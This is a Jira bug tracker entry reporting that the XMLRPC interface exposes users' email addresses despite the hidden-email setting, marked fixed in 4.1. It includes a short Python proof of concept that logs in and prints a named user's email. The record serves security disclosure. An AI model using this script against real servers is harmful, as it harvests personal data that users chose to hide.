Uploaded image for project: 'Jira Data Center'
  1. Jira Data Center
  2. JRASERVER-19498

XMLRPC information security leak

    XMLWordPrintable

Details

    • Bug
    • Resolution: Fixed
    • High
    • 4.1
    • 3.13.4
    • None
    • CentOS5.3 i386, JDK 1.6.0u16, standalone (in WANdisco JIRA multisite)

    Description

      Server is set in public mode. The configuration option for email is set to hidden.
      The XMLRPC interface is enabled for authenticated users.

      It is trivial to find a users email.

      Concept python code follows:

      #!/usr/bin/python

      import xmlrpclib
      import sys

      s = xmlrpclib.ServerProxy('http://myhostname.fqdn/rpc/xmlrpc')
      auth = s.jira1.login('username', 'password')

      user = s.jira1.getUser(auth, sys.argv[1])
      print "Email address of " + sys.argv[1] + " is " + user['email']

      Attachments

        1. RemoteConfiguration.java.patch
          1 kB
        2. RemoteUser.java.patch
          0.4 kB
        3. xmlrpc_email.zip
          1 kB

        Activity

          People

            mtokar Michael Tokar
            bfd9a708c54b Mark Keir
            Votes:
            0 Vote for this issue
            Watchers:
            1 Start watching this issue

            Dates

              Created:
              Updated:
              Resolved: